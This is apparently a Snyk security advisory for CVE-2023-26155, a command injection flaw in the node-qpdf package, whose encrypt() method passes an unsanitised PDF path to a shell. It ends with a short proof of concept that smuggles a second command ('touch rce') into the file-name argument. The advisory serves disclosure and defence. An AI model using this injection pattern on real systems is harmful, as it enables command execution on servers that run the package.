Command Injection Affecting node-qpdf package, versions *
Snyk CVSS
Attack Complexity
Low
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.11% (43rd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-NODEQPDF-5747918
- published 13 Oct 2023
- disclosed 30 Jun 2023
- credit Xiao Feng
Introduced: 30 Jun 2023
CVE-2023-26155 Open this link in a new tabHow to fix?
There is no fixed version for node-qpdf.
Overview
node-qpdf is an A Content Preserving transformations on PDFs wrapped around QPDF
Affected versions of this package are vulnerable to Command Injection such that the package-exported method encrypt() fails to sanitize its parameter input, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they can specify the input pdf file path.
PoC
var qpdf = require('node-qpdf');
var options = {
keyLength: 128,
password: 'YOUR_PASSWORD_TO_ENCRYPT'
}
qpdf.encrypt('test.pdf ||touch rce||', options); // a file named rce will be created